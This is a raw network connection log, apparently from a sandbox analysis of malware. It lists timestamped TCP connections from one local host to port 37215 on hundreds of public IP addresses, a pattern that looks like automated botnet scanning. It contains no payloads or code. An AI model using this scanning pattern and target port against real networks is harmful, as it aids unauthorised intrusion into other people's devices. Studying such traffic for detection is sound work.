Oct 8, 2024 20:34:56.581528902 CEST	48169	37215	192.168.2.14	41.239.186.221
Oct 8, 2024 20:34:56.581543922 CEST	48169	37215	192.168.2.14	197.93.142.252
Oct 8, 2024 20:34:56.581552982 CEST	48169	37215	192.168.2.14	197.58.176.206
Oct 8, 2024 20:34:56.581558943 CEST	48169	37215	192.168.2.14	156.78.139.33
Oct 8, 2024 20:34:56.581579924 CEST	48169	37215	192.168.2.14	156.17.227.99
Oct 8, 2024 20:34:56.581584930 CEST	48169	37215	192.168.2.14	41.26.177.138
Oct 8, 2024 20:34:56.581592083 CEST	48169	37215	192.168.2.14	156.170.86.147
Oct 8, 2024 20:34:56.581602097 CEST	48169	37215	192.168.2.14	197.180.243.204
Oct 8, 2024 20:34:56.581610918 CEST	48169	37215	192.168.2.14	156.178.220.0
Oct 8, 2024 20:34:56.581626892 CEST	48169	37215	192.168.2.14	41.41.125.56
Oct 8, 2024 20:34:56.581631899 CEST	48169	37215	192.168.2.14	41.37.99.57
Oct 8, 2024 20:34:56.581636906 CEST	48169	37215	192.168.2.14	197.52.55.203
Oct 8, 2024 20:34:56.581655979 CEST	48169	37215	192.168.2.14	41.44.29.143
Oct 8, 2024 20:34:56.581655979 CEST	48169	37215	192.168.2.14	156.211.235.122
Oct 8, 2024 20:34:56.581659079 CEST	48169	37215	192.168.2.14	156.236.226.19
Oct 8, 2024 20:34:56.581671000 CEST	48169	37215	192.168.2.14	156.207.145.208
Oct 8, 2024 20:34:56.581676960 CEST	48169	37215	192.168.2.14	197.187.71.92
Oct 8, 2024 20:34:56.581688881 CEST	48169	37215	192.168.2.14	197.15.232.141
Oct 8, 2024 20:34:56.581692934 CEST	48169	37215	192.168.2.14	197.9.195.118
Oct 8, 2024 20:34:56.581698895 CEST	48169	37215	192.168.2.14	197.126.48.206
Oct 8, 2024 20:34:56.581707001 CEST	48169	37215	192.168.2.14	197.39.207.201
Oct 8, 2024 20:34:56.581722021 CEST	48169	37215	192.168.2.14	41.112.208.90
Oct 8, 2024 20:34:56.581736088 CEST	48169	37215	192.168.2.14	156.136.58.161
Oct 8, 2024 20:34:56.581737041 CEST	48169	37215	192.168.2.14	41.21.8.43
Oct 8, 2024 20:34:56.581742048 CEST	48169	37215	192.168.2.14	41.61.80.169
Oct 8, 2024 20:34:56.581752062 CEST	48169	37215	192.168.2.14	197.230.242.19
Oct 8, 2024 20:34:56.581756115 CEST	48169	37215	192.168.2.14	197.240.229.12
Oct 8, 2024 20:34:56.581758976 CEST	48169	37215	192.168.2.14	197.78.146.18
Oct 8, 2024 20:34:56.581773043 CEST	48169	37215	192.168.2.14	197.103.252.162
Oct 8, 2024 20:34:56.581779003 CEST	48169	37215	192.168.2.14	41.245.223.4
Oct 8, 2024 20:34:56.581779003 CEST	48169	37215	192.168.2.14	41.210.97.37
Oct 8, 2024 20:34:56.581784010 CEST	48169	37215	192.168.2.14	197.11.40.216
Oct 8, 2024 20:34:56.581784010 CEST	48169	37215	192.168.2.14	156.35.54.146
Oct 8, 2024 20:34:56.581785917 CEST	48169	37215	192.168.2.14	41.213.227.176
Oct 8, 2024 20:34:56.581798077 CEST	48169	37215	192.168.2.14	156.51.157.215
Oct 8, 2024 20:34:56.581799030 CEST	48169	37215	192.168.2.14	41.90.48.91
Oct 8, 2024 20:34:56.581814051 CEST	48169	37215	192.168.2.14	156.67.148.160
Oct 8, 2024 20:34:56.581815004 CEST	48169	37215	192.168.2.14	197.77.195.201
Oct 8, 2024 20:34:56.581829071 CEST	48169	37215	192.168.2.14	156.82.48.44
Oct 8, 2024 20:34:56.581839085 CEST	48169	37215	192.168.2.14	156.52.223.45
Oct 8, 2024 20:34:56.581851959 CEST	48169	37215	192.168.2.14	197.168.113.110
Oct 8, 2024 20:34:56.581851959 CEST	48169	37215	192.168.2.14	41.51.17.124
Oct 8, 2024 20:34:56.581866980 CEST	48169	37215	192.168.2.14	197.121.84.182
Oct 8, 2024 20:34:56.581871033 CEST	48169	37215	192.168.2.14	156.99.189.83
Oct 8, 2024 20:34:56.581886053 CEST	48169	37215	192.168.2.14	156.69.194.76
Oct 8, 2024 20:34:56.581886053 CEST	48169	37215	192.168.2.14	197.60.211.181
Oct 8, 2024 20:34:56.581890106 CEST	48169	37215	192.168.2.14	197.1.5.167
Oct 8, 2024 20:34:56.581901073 CEST	48169	37215	192.168.2.14	41.238.146.152
Oct 8, 2024 20:34:56.581911087 CEST	48169	37215	192.168.2.14	41.238.43.76
Oct 8, 2024 20:34:56.581927061 CEST	48169	37215	192.168.2.14	156.191.150.247
Oct 8, 2024 20:34:56.581943035 CEST	48169	37215	192.168.2.14	41.81.189.8
Oct 8, 2024 20:34:56.581944942 CEST	48169	37215	192.168.2.14	156.134.203.158
Oct 8, 2024 20:34:56.581959963 CEST	48169	37215	192.168.2.14	156.29.168.78
Oct 8, 2024 20:34:56.581959963 CEST	48169	37215	192.168.2.14	41.195.115.199
Oct 8, 2024 20:34:56.581962109 CEST	48169	37215	192.168.2.14	41.68.27.230
Oct 8, 2024 20:34:56.581968069 CEST	48169	37215	192.168.2.14	156.13.226.55
Oct 8, 2024 20:34:56.581979990 CEST	48169	37215	192.168.2.14	41.180.26.25
Oct 8, 2024 20:34:56.581989050 CEST	48169	37215	192.168.2.14	197.255.204.244
Oct 8, 2024 20:34:56.581990957 CEST	48169	37215	192.168.2.14	41.111.83.225
Oct 8, 2024 20:34:56.581999063 CEST	48169	37215	192.168.2.14	197.134.158.139
Oct 8, 2024 20:34:56.582003117 CEST	48169	37215	192.168.2.14	197.17.12.197
Oct 8, 2024 20:34:56.582021952 CEST	48169	37215	192.168.2.14	197.97.252.174
Oct 8, 2024 20:34:56.582025051 CEST	48169	37215	192.168.2.14	197.247.65.124
Oct 8, 2024 20:34:56.582040071 CEST	48169	37215	192.168.2.14	156.101.156.82
Oct 8, 2024 20:34:56.582051039 CEST	48169	37215	192.168.2.14	41.93.12.85
Oct 8, 2024 20:34:56.582053900 CEST	48169	37215	192.168.2.14	41.61.165.103
Oct 8, 2024 20:34:56.582057953 CEST	48169	37215	192.168.2.14	197.11.31.13
Oct 8, 2024 20:34:56.582062006 CEST	48169	37215	192.168.2.14	156.204.198.53
Oct 8, 2024 20:34:56.582073927 CEST	48169	37215	192.168.2.14	197.145.165.188
Oct 8, 2024 20:34:56.582079887 CEST	48169	37215	192.168.2.14	156.225.144.201
Oct 8, 2024 20:34:56.582083941 CEST	48169	37215	192.168.2.14	156.177.117.130
Oct 8, 2024 20:34:56.582097054 CEST	48169	37215	192.168.2.14	41.121.6.195
Oct 8, 2024 20:34:56.582097054 CEST	48169	37215	192.168.2.14	156.123.135.158
Oct 8, 2024 20:34:56.582109928 CEST	48169	37215	192.168.2.14	197.140.194.24
Oct 8, 2024 20:34:56.582114935 CEST	48169	37215	192.168.2.14	197.197.137.80
Oct 8, 2024 20:34:56.582127094 CEST	48169	37215	192.168.2.14	197.249.149.79
Oct 8, 2024 20:34:56.582129002 CEST	48169	37215	192.168.2.14	156.194.110.191
Oct 8, 2024 20:34:56.582146883 CEST	48169	37215	192.168.2.14	156.169.116.88
Oct 8, 2024 20:34:56.582148075 CEST	48169	37215	192.168.2.14	41.8.92.124
Oct 8, 2024 20:34:56.582159042 CEST	48169	37215	192.168.2.14	156.68.25.156
Oct 8, 2024 20:34:56.582169056 CEST	48169	37215	192.168.2.14	156.156.154.238
Oct 8, 2024 20:34:56.582179070 CEST	48169	37215	192.168.2.14	41.174.155.2
Oct 8, 2024 20:34:56.582179070 CEST	48169	37215	192.168.2.14	41.231.183.81
Oct 8, 2024 20:34:56.582192898 CEST	48169	37215	192.168.2.14	197.211.2.136
Oct 8, 2024 20:34:56.582195997 CEST	48169	37215	192.168.2.14	41.32.96.184
Oct 8, 2024 20:34:56.582201004 CEST	48169	37215	192.168.2.14	197.109.198.17
Oct 8, 2024 20:34:56.582201004 CEST	48169	37215	192.168.2.14	41.73.147.241
Oct 8, 2024 20:34:56.582214117 CEST	48169	37215	192.168.2.14	197.56.95.139
Oct 8, 2024 20:34:56.582221985 CEST	48169	37215	192.168.2.14	41.40.28.223
Oct 8, 2024 20:34:56.582221985 CEST	48169	37215	192.168.2.14	197.253.113.26
Oct 8, 2024 20:34:56.582236052 CEST	48169	37215	192.168.2.14	156.158.223.124
Oct 8, 2024 20:34:56.582240105 CEST	48169	37215	192.168.2.14	197.240.80.111
Oct 8, 2024 20:34:56.582240105 CEST	48169	37215	192.168.2.14	156.237.87.163
Oct 8, 2024 20:34:56.582253933 CEST	48169	37215	192.168.2.14	41.110.76.225
Oct 8, 2024 20:34:56.582253933 CEST	48169	37215	192.168.2.14	197.231.158.138
Oct 8, 2024 20:34:56.582257986 CEST	48169	37215	192.168.2.14	41.154.114.42
Oct 8, 2024 20:34:56.582267046 CEST	48169	37215	192.168.2.14	41.138.210.5
Oct 8, 2024 20:34:56.582273006 CEST	48169	37215	192.168.2.14	197.48.251.102
Oct 8, 2024 20:34:56.582282066 CEST	48169	37215	192.168.2.14	41.167.10.243
Oct 8, 2024 20:34:56.582282066 CEST	48169	37215	192.168.2.14	156.126.17.152
Oct 8, 2024 20:34:56.582287073 CEST	48169	37215	192.168.2.14	41.41.156.192
Oct 8, 2024 20:34:56.582288027 CEST	48169	37215	192.168.2.14	197.93.198.184
Oct 8, 2024 20:34:56.582304001 CEST	48169	37215	192.168.2.14	156.251.38.133
Oct 8, 2024 20:34:56.582307100 CEST	48169	37215	192.168.2.14	156.18.67.2
Oct 8, 2024 20:34:56.582307100 CEST	48169	37215	192.168.2.14	41.250.53.170
Oct 8, 2024 20:34:56.582324982 CEST	48169	37215	192.168.2.14	156.29.214.87
Oct 8, 2024 20:34:56.582324982 CEST	48169	37215	192.168.2.14	41.225.3.199
Oct 8, 2024 20:34:56.582324982 CEST	48169	37215	192.168.2.14	197.206.71.178
Oct 8, 2024 20:34:56.582326889 CEST	48169	37215	192.168.2.14	197.32.170.19
Oct 8, 2024 20:34:56.582331896 CEST	48169	37215	192.168.2.14	197.36.118.142
Oct 8, 2024 20:34:56.582350969 CEST	48169	37215	192.168.2.14	156.53.95.189
Oct 8, 2024 20:34:56.582350969 CEST	48169	37215	192.168.2.14	197.245.212.207
Oct 8, 2024 20:34:56.582351923 CEST	48169	37215	192.168.2.14	41.29.84.91
Oct 8, 2024 20:34:56.582351923 CEST	48169	37215	192.168.2.14	197.20.211.91
Oct 8, 2024 20:34:56.582359076 CEST	48169	37215	192.168.2.14	156.223.123.15
Oct 8, 2024 20:34:56.582374096 CEST	48169	37215	192.168.2.14	41.129.124.67
Oct 8, 2024 20:34:56.582376003 CEST	48169	37215	192.168.2.14	41.69.146.42
Oct 8, 2024 20:34:56.582385063 CEST	48169	37215	192.168.2.14	41.94.95.204
Oct 8, 2024 20:34:56.582844019 CEST	53632	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:56.582880974 CEST	54450	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:56.582880974 CEST	54450	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:56.583259106 CEST	54602	37215	192.168.2.14	156.9.173.133
Oct 8, 2024 20:34:56.583631039 CEST	59618	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.583631039 CEST	59618	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.583889961 CEST	59770	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.584253073 CEST	46438	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:56.584253073 CEST	46438	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:56.584527016 CEST	46582	37215	192.168.2.14	197.216.205.44
Oct 8, 2024 20:34:56.584891081 CEST	59298	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:56.584891081 CEST	59298	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:56.585170031 CEST	59442	37215	192.168.2.14	197.76.150.216
Oct 8, 2024 20:34:56.585630894 CEST	42346	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:56.585649967 CEST	42346	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:56.585925102 CEST	42514	37215	192.168.2.14	41.126.206.191
Oct 8, 2024 20:34:56.586272955 CEST	38012	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:56.586272955 CEST	38012	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:56.586570024 CEST	38178	37215	192.168.2.14	41.132.104.150
Oct 8, 2024 20:34:56.586956978 CEST	52562	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:56.586956978 CEST	52562	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:56.587239981 CEST	52722	37215	192.168.2.14	197.58.175.124
Oct 8, 2024 20:34:56.587590933 CEST	48848	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:56.587590933 CEST	48848	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:56.587800980 CEST	37215	54450	156.9.173.133	192.168.2.14
Oct 8, 2024 20:34:56.587865114 CEST	49006	37215	192.168.2.14	197.68.74.133
Oct 8, 2024 20:34:56.588222027 CEST	37532	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:56.588222027 CEST	37532	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:56.588479996 CEST	37690	37215	192.168.2.14	197.72.206.33
Oct 8, 2024 20:34:56.588705063 CEST	37215	59618	197.84.253.185	192.168.2.14
Oct 8, 2024 20:34:56.588720083 CEST	37215	53632	156.125.110.190	192.168.2.14
Oct 8, 2024 20:34:56.588754892 CEST	53632	37215	192.168.2.14	156.125.110.190
Oct 8, 2024 20:34:56.588829994 CEST	37215	59770	197.84.253.185	192.168.2.14
Oct 8, 2024 20:34:56.588872910 CEST	59770	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.588913918 CEST	59770	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.589090109 CEST	37215	46438	197.216.205.44	192.168.2.14
Oct 8, 2024 20:34:56.589698076 CEST	37215	59298	197.76.150.216	192.168.2.14
Oct 8, 2024 20:34:56.590444088 CEST	37215	42346	41.126.206.191	192.168.2.14
Oct 8, 2024 20:34:56.591044903 CEST	37215	38012	41.132.104.150	192.168.2.14
Oct 8, 2024 20:34:56.591955900 CEST	37215	52562	197.58.175.124	192.168.2.14
Oct 8, 2024 20:34:56.592468977 CEST	37215	48848	197.68.74.133	192.168.2.14
Oct 8, 2024 20:34:56.593008995 CEST	37215	37532	197.72.206.33	192.168.2.14
Oct 8, 2024 20:34:56.594386101 CEST	37215	59770	197.84.253.185	192.168.2.14
Oct 8, 2024 20:34:56.594444036 CEST	59770	37215	192.168.2.14	197.84.253.185
Oct 8, 2024 20:34:56.607336044 CEST	41158	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:56.607345104 CEST	41972	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.607345104 CEST	42808	37215	192.168.2.14	197.123.151.190
Oct 8, 2024 20:34:56.607361078 CEST	55736	37215	192.168.2.14	156.166.199.178
Oct 8, 2024 20:34:56.607372046 CEST	45732	37215	192.168.2.14	197.91.221.188
Oct 8, 2024 20:34:56.607388973 CEST	41270	37215	192.168.2.14	41.3.52.83
Oct 8, 2024 20:34:56.607389927 CEST	34554	37215	192.168.2.14	156.126.6.231
Oct 8, 2024 20:34:56.607389927 CEST	57062	37215	192.168.2.14	41.212.4.209
Oct 8, 2024 20:34:56.607392073 CEST	38254	37215	192.168.2.14	197.71.140.28
Oct 8, 2024 20:34:56.607392073 CEST	50042	37215	192.168.2.14	197.237.224.136
Oct 8, 2024 20:34:56.607399940 CEST	53964	37215	192.168.2.14	197.21.120.182
Oct 8, 2024 20:34:56.607403994 CEST	35398	37215	192.168.2.14	156.66.30.6
Oct 8, 2024 20:34:56.607407093 CEST	49024	37215	192.168.2.14	41.75.12.165
Oct 8, 2024 20:34:56.607409000 CEST	44852	37215	192.168.2.14	156.60.152.213
Oct 8, 2024 20:34:56.607418060 CEST	45286	37215	192.168.2.14	156.173.191.194
Oct 8, 2024 20:34:56.607430935 CEST	46584	37215	192.168.2.14	197.85.197.68
Oct 8, 2024 20:34:56.607430935 CEST	43886	37215	192.168.2.14	41.144.57.235
Oct 8, 2024 20:34:56.607430935 CEST	49604	37215	192.168.2.14	41.104.123.154
Oct 8, 2024 20:34:56.607434988 CEST	37648	37215	192.168.2.14	197.75.145.101
Oct 8, 2024 20:34:56.607438087 CEST	57284	37215	192.168.2.14	41.231.0.126
Oct 8, 2024 20:34:56.607439041 CEST	33968	37215	192.168.2.14	41.61.159.176
Oct 8, 2024 20:34:56.607455015 CEST	35120	37215	192.168.2.14	197.129.182.65
Oct 8, 2024 20:34:56.607455969 CEST	45108	37215	192.168.2.14	197.95.46.66
Oct 8, 2024 20:34:56.607456923 CEST	47852	37215	192.168.2.14	41.39.122.43
Oct 8, 2024 20:34:56.607472897 CEST	48824	37215	192.168.2.14	156.109.35.230
Oct 8, 2024 20:34:56.607474089 CEST	40384	37215	192.168.2.14	156.245.87.134
Oct 8, 2024 20:34:56.607475996 CEST	39250	37215	192.168.2.14	41.82.251.103
Oct 8, 2024 20:34:56.607489109 CEST	40216	37215	192.168.2.14	41.135.235.217
Oct 8, 2024 20:34:56.607490063 CEST	58536	37215	192.168.2.14	41.231.246.166
Oct 8, 2024 20:34:56.607496023 CEST	38612	37215	192.168.2.14	156.54.149.143
Oct 8, 2024 20:34:56.607497931 CEST	50024	37215	192.168.2.14	156.33.229.36
Oct 8, 2024 20:34:56.607498884 CEST	56282	37215	192.168.2.14	41.229.137.186
Oct 8, 2024 20:34:56.607503891 CEST	52216	37215	192.168.2.14	197.171.50.182
Oct 8, 2024 20:34:56.607507944 CEST	44342	37215	192.168.2.14	197.160.43.185
Oct 8, 2024 20:34:56.607517958 CEST	42986	37215	192.168.2.14	156.244.120.81
Oct 8, 2024 20:34:56.607517958 CEST	56842	37215	192.168.2.14	197.23.15.106
Oct 8, 2024 20:34:56.607518911 CEST	40440	37215	192.168.2.14	197.106.219.53
Oct 8, 2024 20:34:56.607517958 CEST	34380	37215	192.168.2.14	41.75.104.202
Oct 8, 2024 20:34:56.607530117 CEST	38666	37215	192.168.2.14	41.178.224.0
Oct 8, 2024 20:34:56.607544899 CEST	57504	37215	192.168.2.14	197.197.130.180
Oct 8, 2024 20:34:56.607547045 CEST	49988	37215	192.168.2.14	41.180.118.96
Oct 8, 2024 20:34:56.607548952 CEST	50988	37215	192.168.2.14	41.101.62.92
Oct 8, 2024 20:34:56.607558966 CEST	52526	37215	192.168.2.14	156.119.155.67
Oct 8, 2024 20:34:56.607567072 CEST	42796	37215	192.168.2.14	41.253.97.168
Oct 8, 2024 20:34:56.607567072 CEST	48554	37215	192.168.2.14	156.16.162.9
Oct 8, 2024 20:34:56.607577085 CEST	59374	37215	192.168.2.14	197.49.8.108
Oct 8, 2024 20:34:56.607578039 CEST	35178	37215	192.168.2.14	197.11.103.109
Oct 8, 2024 20:34:56.607584953 CEST	46334	37215	192.168.2.14	197.19.20.158
Oct 8, 2024 20:34:56.607589960 CEST	47298	37215	192.168.2.14	197.64.46.11
Oct 8, 2024 20:34:56.607594967 CEST	51728	37215	192.168.2.14	197.44.234.96
Oct 8, 2024 20:34:56.607601881 CEST	56554	37215	192.168.2.14	197.67.37.109
Oct 8, 2024 20:34:56.607613087 CEST	54954	37215	192.168.2.14	41.55.74.90
Oct 8, 2024 20:34:56.607614994 CEST	38508	37215	192.168.2.14	41.235.138.140
Oct 8, 2024 20:34:56.607620955 CEST	58416	37215	192.168.2.14	156.42.190.57
Oct 8, 2024 20:34:56.607620955 CEST	55348	37215	192.168.2.14	156.162.179.119
Oct 8, 2024 20:34:56.607629061 CEST	48464	37215	192.168.2.14	197.193.166.227
Oct 8, 2024 20:34:56.607631922 CEST	53230	37215	192.168.2.14	197.148.84.111
Oct 8, 2024 20:34:56.607635975 CEST	47108	37215	192.168.2.14	197.117.32.0
Oct 8, 2024 20:34:56.607636929 CEST	48964	37215	192.168.2.14	156.96.29.210
Oct 8, 2024 20:34:56.607650042 CEST	52024	37215	192.168.2.14	197.148.81.90
Oct 8, 2024 20:34:56.607651949 CEST	39458	37215	192.168.2.14	156.190.29.125
Oct 8, 2024 20:34:56.607652903 CEST	50620	37215	192.168.2.14	156.108.238.213
Oct 8, 2024 20:34:56.607656002 CEST	60136	37215	192.168.2.14	41.72.125.133
Oct 8, 2024 20:34:56.612253904 CEST	37215	41972	41.231.238.172	192.168.2.14
Oct 8, 2024 20:34:56.612324953 CEST	41972	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.612509966 CEST	41972	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.612520933 CEST	41972	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.612551928 CEST	37215	41158	197.206.159.179	192.168.2.14
Oct 8, 2024 20:34:56.612595081 CEST	41158	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:56.612870932 CEST	42048	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.613328934 CEST	41158	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:56.613328934 CEST	41158	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:56.613612890 CEST	41234	37215	192.168.2.14	197.206.159.179
Oct 8, 2024 20:34:56.617362976 CEST	37215	41972	41.231.238.172	192.168.2.14
Oct 8, 2024 20:34:56.617801905 CEST	37215	42048	41.231.238.172	192.168.2.14
Oct 8, 2024 20:34:56.617847919 CEST	42048	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.617932081 CEST	42048	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.618160963 CEST	37215	41158	197.206.159.179	192.168.2.14
Oct 8, 2024 20:34:56.623189926 CEST	37215	42048	41.231.238.172	192.168.2.14
Oct 8, 2024 20:34:56.623235941 CEST	42048	37215	192.168.2.14	41.231.238.172
Oct 8, 2024 20:34:56.631474018 CEST	37215	46438	197.216.205.44	192.168.2.14
Oct 8, 2024 20:34:56.631506920 CEST	37215	38012	41.132.104.150	192.168.2.14
Oct 8, 2024 20:34:56.631521940 CEST	37215	42346	41.126.206.191	192.168.2.14
Oct 8, 2024 20:34:56.631536007 CEST	37215	59618	197.84.253.185	192.168.2.14
Oct 8, 2024 20:34:56.631552935 CEST	37215	59298	197.76.150.216	192.168.2.14
Oct 8, 2024 20:34:56.631567001 CEST	37215	54450	156.9.173.133	192.168.2.14
Oct 8, 2024 20:34:56.635593891 CEST	37215	37532	197.72.206.33	192.168.2.14
Oct 8, 2024 20:34:56.635637999 CEST	37215	48848	197.68.74.133	192.168.2.14
Oct 8, 2024 20:34:56.635668039 CEST	37215	52562	197.58.175.124	192.168.2.14
Oct 8, 2024 20:34:56.639358997 CEST	34860	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:56.639369011 CEST	52066	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:56.639369011 CEST	56112	37215	192.168.2.14	41.114.141.158
Oct 8, 2024 20:34:56.639369011 CEST	36036	37215	192.168.2.14	41.116.215.52
Oct 8, 2024 20:34:56.639369011 CEST	41456	37215	192.168.2.14	156.184.128.75
Oct 8, 2024 20:34:56.639368057 CEST	42164	37215	192.168.2.14	197.161.78.217
Oct 8, 2024 20:34:56.639373064 CEST	40394	37215	192.168.2.14	41.193.92.74
Oct 8, 2024 20:34:56.639391899 CEST	46942	37215	192.168.2.14	41.44.129.66
Oct 8, 2024 20:34:56.639395952 CEST	53132	37215	192.168.2.14	41.4.87.40
Oct 8, 2024 20:34:56.639393091 CEST	49040	37215	192.168.2.14	197.56.118.247
Oct 8, 2024 20:34:56.639396906 CEST	52982	37215	192.168.2.14	156.88.229.99
Oct 8, 2024 20:34:56.639409065 CEST	53146	37215	192.168.2.14	197.30.191.205
Oct 8, 2024 20:34:56.639410973 CEST	41158	37215	192.168.2.14	197.69.64.180
Oct 8, 2024 20:34:56.639414072 CEST	39736	37215	192.168.2.14	197.70.7.124
Oct 8, 2024 20:34:56.639416933 CEST	53346	37215	192.168.2.14	156.76.221.229
Oct 8, 2024 20:34:56.639420986 CEST	36826	37215	192.168.2.14	156.188.212.194
Oct 8, 2024 20:34:56.639426947 CEST	33414	37215	192.168.2.14	156.131.17.222
Oct 8, 2024 20:34:56.639427900 CEST	37348	37215	192.168.2.14	197.11.34.87
Oct 8, 2024 20:34:56.639430046 CEST	36540	37215	192.168.2.14	197.145.161.203
Oct 8, 2024 20:34:56.639436007 CEST	36942	37215	192.168.2.14	156.68.141.208
Oct 8, 2024 20:34:56.639442921 CEST	39482	37215	192.168.2.14	41.67.30.14
Oct 8, 2024 20:34:56.639448881 CEST	32872	37215	192.168.2.14	197.26.143.211
Oct 8, 2024 20:34:56.639452934 CEST	38190	37215	192.168.2.14	156.156.68.138
Oct 8, 2024 20:34:56.639460087 CEST	42966	37215	192.168.2.14	41.241.68.240
Oct 8, 2024 20:34:56.639471054 CEST	33196	37215	192.168.2.14	156.92.126.87
Oct 8, 2024 20:34:56.639472961 CEST	47120	37215	192.168.2.14	197.155.238.96
Oct 8, 2024 20:34:56.639480114 CEST	41136	37215	192.168.2.14	156.199.193.96
Oct 8, 2024 20:34:56.639482975 CEST	49964	37215	192.168.2.14	41.48.165.164
Oct 8, 2024 20:34:56.639482975 CEST	59544	37215	192.168.2.14	156.199.146.184
Oct 8, 2024 20:34:56.639489889 CEST	37054	37215	192.168.2.14	41.173.24.60
Oct 8, 2024 20:34:56.639491081 CEST	45388	37215	192.168.2.14	41.242.249.142
Oct 8, 2024 20:34:56.639497995 CEST	60360	37215	192.168.2.14	41.47.228.13
Oct 8, 2024 20:34:56.639503002 CEST	42690	37215	192.168.2.14	156.195.141.158
Oct 8, 2024 20:34:56.639513016 CEST	46430	37215	192.168.2.14	156.209.41.239
Oct 8, 2024 20:34:56.639518976 CEST	57612	37215	192.168.2.14	156.143.211.8
Oct 8, 2024 20:34:56.639518976 CEST	56180	37215	192.168.2.14	197.60.215.97
Oct 8, 2024 20:34:56.639524937 CEST	37968	37215	192.168.2.14	156.89.68.228
Oct 8, 2024 20:34:56.639527082 CEST	53044	37215	192.168.2.14	41.128.17.114
Oct 8, 2024 20:34:56.639538050 CEST	40172	37215	192.168.2.14	197.199.22.219
Oct 8, 2024 20:34:56.639543056 CEST	35012	37215	192.168.2.14	41.216.80.115
Oct 8, 2024 20:34:56.639543056 CEST	60922	37215	192.168.2.14	156.200.232.130
Oct 8, 2024 20:34:56.639548063 CEST	57814	37215	192.168.2.14	41.80.66.31
Oct 8, 2024 20:34:56.639554024 CEST	33068	37215	192.168.2.14	197.0.113.100
Oct 8, 2024 20:34:56.639563084 CEST	50424	37215	192.168.2.14	41.212.95.162
Oct 8, 2024 20:34:56.639566898 CEST	41980	37215	192.168.2.14	197.72.96.94
Oct 8, 2024 20:34:56.639573097 CEST	41162	37215	192.168.2.14	41.85.252.29
Oct 8, 2024 20:34:56.639581919 CEST	45710	37215	192.168.2.14	41.131.232.150
Oct 8, 2024 20:34:56.639583111 CEST	35906	37215	192.168.2.14	156.164.174.189
Oct 8, 2024 20:34:56.639585018 CEST	57578	37215	192.168.2.14	197.44.68.212
Oct 8, 2024 20:34:56.639590979 CEST	34602	37215	192.168.2.14	197.169.169.230
Oct 8, 2024 20:34:56.639592886 CEST	37706	37215	192.168.2.14	197.54.69.98
Oct 8, 2024 20:34:56.639605999 CEST	45544	37215	192.168.2.14	41.72.71.138
Oct 8, 2024 20:34:56.639607906 CEST	38382	37215	192.168.2.14	41.134.171.4
Oct 8, 2024 20:34:56.639616013 CEST	42572	37215	192.168.2.14	197.13.206.248
Oct 8, 2024 20:34:56.639616013 CEST	42714	37215	192.168.2.14	197.220.0.95
Oct 8, 2024 20:34:56.639622927 CEST	55494	37215	192.168.2.14	41.53.183.197
Oct 8, 2024 20:34:56.639624119 CEST	41726	37215	192.168.2.14	41.177.243.230
Oct 8, 2024 20:34:56.639630079 CEST	44460	37215	192.168.2.14	41.232.14.171
Oct 8, 2024 20:34:56.639636040 CEST	51108	37215	192.168.2.14	156.166.190.11
Oct 8, 2024 20:34:56.639642000 CEST	45094	37215	192.168.2.14	197.202.98.21
Oct 8, 2024 20:34:56.639647961 CEST	58952	37215	192.168.2.14	197.54.92.12
Oct 8, 2024 20:34:56.639648914 CEST	37474	37215	192.168.2.14	197.210.44.39
Oct 8, 2024 20:34:56.639652014 CEST	47462	37215	192.168.2.14	156.143.127.208
Oct 8, 2024 20:34:56.639656067 CEST	33012	37215	192.168.2.14	197.157.148.255
Oct 8, 2024 20:34:56.639662981 CEST	34384	37215	192.168.2.14	197.51.56.98
Oct 8, 2024 20:34:56.639667988 CEST	39292	37215	192.168.2.14	156.255.180.53
Oct 8, 2024 20:34:56.639816046 CEST	43130	37215	192.168.2.14	156.33.51.38
Oct 8, 2024 20:34:56.644361973 CEST	37215	52066	41.110.87.225	192.168.2.14
Oct 8, 2024 20:34:56.644397020 CEST	37215	34860	197.42.54.201	192.168.2.14
Oct 8, 2024 20:34:56.644431114 CEST	52066	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:56.644448042 CEST	34860	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:56.644547939 CEST	52066	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:56.644562006 CEST	34860	37215	192.168.2.14	197.42.54.201
Oct 8, 2024 20:34:56.650108099 CEST	37215	52066	41.110.87.225	192.168.2.14
Oct 8, 2024 20:34:56.650325060 CEST	37215	34860	197.42.54.201	192.168.2.14
